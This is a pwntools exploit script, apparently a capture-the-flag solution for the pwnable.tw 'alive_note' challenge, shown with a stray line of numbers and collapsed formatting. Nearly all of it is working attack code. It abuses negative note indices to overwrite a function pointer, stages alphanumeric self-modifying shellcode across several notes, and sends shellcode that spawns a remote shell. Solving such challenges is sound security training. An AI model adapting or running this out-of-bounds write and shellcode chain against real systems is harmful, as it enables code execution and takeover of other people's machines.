1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110
| from pwn import * import sys, time
debug = 0 if debug: elf = ELF("./alive_note") libc = ELF("./libc_64.so.6") io = process(elf.path,env={"LD_PRELOAD" : libc.path}) else: elf = ELF("./alive_note") libc = ELF("./libc_64.so.6") io = remote("chall.pwnable.tw",10300)
s = io.send sl = io.sendline sa = io.sendafter sla = io.sendlineafter r = io.recv rl = io.recvline ru = io.recvuntil it = io.interactive
''' # misc functions uu32 = lambda data :u32(data.ljust(4, b'\0')) uu64 = lambda data :u64(data.ljust(8, b'\0')) leak = lambda name,addr :log.success('{} : {:#x}'.format(name, addr))
# base addr gdb_text_base = int(os.popen("pmap {}".format(io.pid)).readlines()[1][4:16], 16) gdb_libc_base = int(os.popen("pmap {}| grep libc".format(io.pid)).readlines()[0][4:16], 16)
# debug function def debug(addr=0,cmd='',PIE=True): if PIE: addr = gdb_text_base + addr log.warn("breakpoint_addr --> 0x%x" % addr) gdb.attach(io,"b *{}\nc\n".format(hex(addr))+cmd) '''
add = lambda index,name : (sla("choice :","1"),sla("Index :",str(index)),sla("Name :",name)) show = lambda index : (sla("choice :","2"),sla("Index :",str(index))) delete = lambda index : (sla("choice :","3"),sla("Index :",str(index)))
def chunk_pad (num): for i in range(num): add(10,"aaaaaaa")
part1 = ''' push eax pop ecx push 0x7a pop edx ''' part1 = asm(part1) + b"\x75\x39" add(-27, part1) chunk_pad(3)
part2 = ''' push ebx pop eax dec eax xor BYTE PTR [ecx+0x41], al ''' part2 = asm(part2) + b"\x75\x38" add(0, part2) chunk_pad(3)
part3 = ''' xor al, 0x39 xor BYTE PTR [ecx+0x42], al push ebx ''' part3 = asm(part3) + b"\x75\x38" add(0, part3) chunk_pad(3)
part4 = ''' pop eax push 0x33 pop eax xor al, 0x30 ''' part4 = asm(part4) + b"\x75\x39" add(1, part4) chunk_pad(3)
part5 = b"\x30\x32\x46" add(2, part5)
delete(1)
payload = "a" * 0x43 payload += asm(shellcraft.sh()) io.sendline(payload)
io.interactive()
|